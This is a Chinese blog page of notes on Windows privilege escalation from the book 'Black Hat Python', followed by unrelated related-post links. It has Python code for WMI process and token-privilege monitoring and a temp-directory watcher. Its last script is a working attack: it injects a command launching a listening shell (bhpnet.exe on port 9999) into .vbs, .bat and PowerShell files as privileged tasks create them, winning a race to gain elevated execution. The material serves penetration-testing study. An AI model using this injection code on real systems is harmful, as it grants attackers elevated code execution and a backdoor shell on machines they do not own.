利用WMI监视进程

#coding=utf-8
import win32con
import win32api
import win32security import wmi
import sys
import os def log_to_file(message):
fd = open("process_monitor_log.csv","ab")
fd.write("%s\r\n"%message)
fd.close() return #创建一个日志文件的头
log_to_file("Time,User,Executable,CommandLine,PID,Parent PID,Privileges") #初始化WMI接口
c= wmi.WMI() #创建进程监控器
process_watcher = c.Win32_Process.watch_for("creation") while True:
try:
new_process = process_watcher() proc_owner = new_process.GetOwner()
proc_owner = "%s\\%s"%(proc_owner[0],proc_owner[2])
create_data = new_process.CreationDate
executable = new_process.ExecutablePath
cmdline = new_process.CommandLine
pid = new_process.ProcessId
parent_pid = new_process.ParentProcessId
privileges = "N/A" process_log_message = "%s,%s,%s,%s,%s,%s,%s\r\n"%(create_data,proc_owner,executable,cmdline,pid,parent_pid,privileges) print process_log_message log_to_file(process_log_message) except:
pass

Windows系统的令牌权限

Windows系统的令牌是指:“一个包含进程或线程上下文安全信息的对象”。

1、SeBackupPrivilege:使得用户进程可以备份文件和目录,读取任何文件而无须关注它的访问控制列表(ACL)。

2、SeDebugPrivilege:使得用户进程可以调试其他进程,当然包括获取进程句柄以便将DLL或者代码插入到运行的进程中去。

3、SeLoadDriver:使得用户进程可以加载或者卸载驱动。

#coding=utf-8
import win32con
import win32api
import win32security import wmi
import sys
import os def get_process_privileges(pid):
try:
#获取目标进程的句柄
hproc = win32api.OpenProcess(win32con.PROCESS_QUERY_INFORMATION,False,pid) #打开主进程的令牌
htok = win32security.OpenProcessToken(hproc,win32con.TOKEN_QUERY) #解析已启用权限的列表
privs = win32security.GetTokenInformation(htok,win32security.TokenPrivileges) #迭代每个权限并输出其中已经启用的
priv_list = ""
for i in privs:
#检测权限是否已经启用
if i[1] == 3:
priv_list += "%s|" % win32security.LookupPrivilegeName(None,i[0])
except Exception as e:
priv_list = "N/A" return priv_list def log_to_file(message):
fd = open("process_monitor_log.csv","ab")
fd.write("%s\r\n"%message)
fd.close() return #创建一个日志文件的头
log_to_file("Time,User,Executable,CommandLine,PID,Parent PID,Privileges") #初始化WMI接口
c= wmi.WMI() #创建进程监控器
process_watcher = c.Win32_Process.watch_for("creation") while True:
try:
new_process = process_watcher() proc_owner = new_process.GetOwner()
proc_owner = "%s\\%s"%(proc_owner[0],proc_owner[2])
create_data = new_process.CreationDate
executable = new_process.ExecutablePath
cmdline = new_process.CommandLine
pid = new_process.ProcessId
parent_pid = new_process.ParentProcessId
privileges = get_process_privileges(pid) process_log_message = "%s,%s,%s,%s,%s,%s,%s\r\n"%(create_data,proc_owner,executable,cmdline,pid,parent_pid,privileges) print process_log_message log_to_file(process_log_message) except:
pass

赢得竞争

有些软件会把文件复制到一个临时目录下,等执行完之后就删除它。为了在这种条件下要进行权限漏洞的利用,必须在和目标程序执行脚本的竞争中占先。

当软件或计划任务创建文件的时候,必须能够在进程执行和删除文件之前插入代码。这里可以使用ReadDirectoryChangesW()函数来实现,可以让我们监控一个目录中的任何文件或者子目录的变化。

#coding=utf-8
import tempfile
import threading
import win32file
import win32con
import os #这些是典型的临时文件所在的路径
dirs_to_monitor = ["C:\\Windows\\Temp",tempfile.gettempdir()] #文件修改行为对应的常量
FILE_CREATED = 1
FILE_DELETED = 2
FILE_MODIFIED = 3
FILE_RENAMED_FROM = 4
FILE_RENAMED_TO = 5 def start_monitor(path_to_watch):
#为每个监控器起一个线程
FILE_LIST_DIRECTORY = 0x0001 h_directory = win32file.CreateFile(
path_to_watch,
FILE_LIST_DIRECTORY,
win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE | win32con.FILE_SHARE_DELETE,
None,
win32con.OPEN_EXISTING,
win32con.FILE_FLAG_BACKUP_SEMANTICS,
None) while 1:
try:
results = win32file.ReadDirectoryChangesW(
h_directory,
1024,
True,
win32con.FILE_NOTIFY_CHANGE_FILE_NAME | win32con.FILE_NOTIFY_CHANGE_DIR_NAME | win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES | win32con.FILE_NOTIFY_CHANGE_SIZE | win32con.FILE_NOTIFY_CHANGE_LAST_WRITE | win32con.FILE_NOTIFY_CHANGE_SECURITY,
None,
None
) for action,file_name in results:
full_filename = os.path.join(path_to_watch,file_name) if action == FILE_CREATED:
print "[+] Created %s"%full_filename
elif action == FILE_DELETED:
print "[+] Deleted %s"%full_filename
elif action == FILE_MODIFIED:
print "[+] Modified %s"%full_filename #输出文件内容
print "[vvv] Dumping contents..." try:
fd = open(full_filename,"rb")
contents = fd.read()
fd.close()
print contents
print "[^^^] Dump complete."
except:
print "[!!!] Failed."
elif action == FILE_RENAMED_FROM:
print "[>] Renamed from: %s"%full_filename
elif action == FILE_RENAMED_TO:
print "[>] Renamed to: %s"%full_filename
else:
print "[???] Unknown: %s"%full_filename
except:
pass for path in dirs_to_monitor:
monitor_thread = threading.Thread(target=start_monitor,args=(path,))
print "Spawning monitoring thread for path: %s"%path
monitor_thread.start()

代码插入

#coding=utf-8
import tempfile
import threading
import win32file
import win32con
import os #这些是典型的临时文件所在的路径
dirs_to_monitor = ["C:\\Windows\\Temp",tempfile.gettempdir()] #文件修改行为对应的常量
FILE_CREATED = 1
FILE_DELETED = 2
FILE_MODIFIED = 3
FILE_RENAMED_FROM = 4
FILE_RENAMED_TO = 5 file_types = {} command = "C:\\Windows\\Temp\\bhpnet.exe -l -p 9999 -c"
file_types['.vbs'] = ["\r\n'bhpmarker\r\n","\r\nCreateObject(\"Wscript.Shell\").Run(\"%s\")\r\n"%command] file_types['.bat'] = ["\r\nREM bhpmarker\r\n","\r\n%s\r\n"%command]
file_types['.psl'] = ["\r\n#bhpmarker","Start-Process \"%s\"\r\n"%command] #用于执行代码插入的函数
def inject_code(full_filename,extension,contents):
#判断文件是否存在标记
if file_types[extension][0] in contents:
return #如果没有标记的话,那么插入代码并标记
full_contents = file_types[extension][0]
full_contents += file_types[extension][1]
full_contents += contents fd = open(full_filename,"wb")
fd.write(full_contents)
fd.close() print "[\o/] Injected code." return def start_monitor(path_to_watch):
#为每个监控器起一个线程
FILE_LIST_DIRECTORY = 0x0001 h_directory = win32file.CreateFile(
path_to_watch,
FILE_LIST_DIRECTORY,
win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE | win32con.FILE_SHARE_DELETE,
None,
win32con.OPEN_EXISTING,
win32con.FILE_FLAG_BACKUP_SEMANTICS,
None) while 1:
try:
results = win32file.ReadDirectoryChangesW(
h_directory,
1024,
True,
win32con.FILE_NOTIFY_CHANGE_FILE_NAME | win32con.FILE_NOTIFY_CHANGE_DIR_NAME | win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES | win32con.FILE_NOTIFY_CHANGE_SIZE | win32con.FILE_NOTIFY_CHANGE_LAST_WRITE | win32con.FILE_NOTIFY_CHANGE_SECURITY,
None,
None
) for action,file_name in results:
full_filename = os.path.join(path_to_watch,file_name) if action == FILE_CREATED:
print "[+] Created %s"%full_filename
elif action == FILE_DELETED:
print "[+] Deleted %s"%full_filename
elif action == FILE_MODIFIED:
print "[+] Modified %s"%full_filename #输出文件内容
print "[vvv] Dumping contents..." try:
fd = open(full_filename,"rb")
contents = fd.read()
fd.close()
print contents
print "[^^^] Dump complete."
except:
print "[!!!] Failed." filename,extension = os.path.splitext(full_filename) if extension in file_types:
inject_code(full_filename,extension,contents) elif action == FILE_RENAMED_FROM:
print "[>] Renamed from: %s"%full_filename
elif action == FILE_RENAMED_TO:
print "[>] Renamed to: %s"%full_filename
else:
print "[???] Unknown: %s"%full_filename
except:
pass for path in dirs_to_monitor:
monitor_thread = threading.Thread(target=start_monitor,args=(path,))
print "Spawning monitoring thread for path: %s"%path
monitor_thread.start()

《Python黑帽子:黑客与渗透测试编程之道》 Windows系统提权的更多相关文章

  1. python黑帽子-黑客与渗透测试编程之道(源代码)

    链接: https://pan.baidu.com/s/1i5BnB5V   密码: ak9t

  2. 读书笔记 ~ Python黑帽子 黑客与渗透测试编程之道

    Python黑帽子  黑客与渗透测试编程之道   <<< 持续更新中>>> 第一章: 设置python 环境 1.python软件包管理工具安装 root@star ...

  3. 2017-2018-2 20179204 PYTHON黑帽子 黑客与渗透测试编程之道

    python代码见码云:20179204_gege 参考博客Python黑帽子--黑客与渗透测试编程之道.关于<Python黑帽子:黑客与渗透测试编程之道>的学习笔记 第2章 网络基础 t ...

  4. 《Python黑帽子:黑客与渗透测试编程之道》 扩展Burp代理

    下载jython,在Burpsuite的扩展中配置jython路径: Burp模糊测试: #!/usr/bin/python #coding=utf-8 # 导入三个类,其中IBurpExtender ...

  5. 《Python黑帽子:黑客与渗透测试编程之道》 Web攻击

    Web的套接字函数库:urllib2 一开始以urllib2.py命名脚本,在Sublime Text中运行会出错,纠错后发现是重名了,改过来就好: #!/usr/bin/python #coding ...

  6. 《Python黑帽子:黑客与渗透测试编程之道》 Scapy:网络的掌控者

    窃取email认证: 测试代码: #!/usr/bin/python #coding=utf-8 from scapy.all import * #数据包回调函数 def packet_callbac ...

  7. 《Python黑帽子:黑客与渗透测试编程之道》 网络基础

    TCP客户端: 示例中socket对象有两个参数,AF_INET参数表明使用IPv4地址或主机名 SOCK_STREAM参数表示是一个TCP客户端.访问的URL是百度. #coding=utf-8 i ...

  8. 《Python黑帽子:黑客与渗透测试编程之道》 玩转浏览器

    基于浏览器的中间人攻击: #coding=utf-8 import win32com.client import time import urlparse import urllib data_rec ...

  9. 《Python黑帽子:黑客与渗透测试编程之道》 Windows下木马的常用功能

    有趣的键盘记录: 安装pyHook: http://nchc.dl.sourceforge.net/project/pyhook/pyhook/1.5.1/pyHook-1.5.1.win32-py2 ...

  10. 《Python黑帽子:黑客与渗透测试编程之道》 基于GitHub的命令和控制

    GitHub账号设置: 这部分按书上来敲命令即可,当然首先要注册一个GitHub账号还有之前安装的GitHub API库(pip install github3.py),这里就只列一下命令吧: mkd ...

随机推荐

  1. Web Api 2 认证与授权 2

    HTTP Message Handler 在 Web Api 2 认证与授权 中讲解了几种实现机制,本篇就详细讲解 Message Handler 的实现方式 关于 Message Handler 在 ...

  2. 使用EventLog Analyzer监控、管理及分析日志

  3. android 自动更新

    http://blog.csdn.net/zml_2015/article/details/50756703

  4. 5. Sports 体育运动

    5. Sports 体育运动 (1) Sport is not only physically challenging,but it can also be mentally challenging. ...

  5. (1)There's more to life than being happy

    https://www.ted.com/talks/emily_esfahani_smith_there_s_more_to_life_than_being_happy00:12 I used to ...

  6. 对象序列化:pickle和shelve

    import pickle class DVD: def __init__(self,tilte,year=None,duration=None,director_id=None): self.tit ...

  7. php,微信公众号,获取用户地理位置 定位 经纬度

    <?php //php插件下载地址: https://files.cnblogs.com/files/fan-bk/jssdk_php.rar //建立一个php文件 require_once ...

  8. HDMI中checksum计算法

    在AVI传输过程中有三个字节没有被传输.这是在HDMI1.4B中找到的前三个字节的数据. >> hex2dec('82') ans = 130 下图中的数据中在HDMI中接收到的一串数据, ...

  9. 如何批量下载网站中的超链接(一次性下载网页中所有可能的PDF文件)

    最近公司在做工程项目,实现文件批量下载. 网上找了很久,发现网上的代码都有相似的问题,不过最终还是让我找到了一个符合的项目. 工程: 进行项目文件下载功能分析,弄清楚文件批量下载的原理,提供的数据支持 ...

  10. 各种学习Demo链接

    CSS3: 钟表:http://demo.qpdiy.com/hxw/CSS3/css3_clock.html CSS3各种旋转:http://demo.qpdiy.com/hxw/CSS3/css3 ...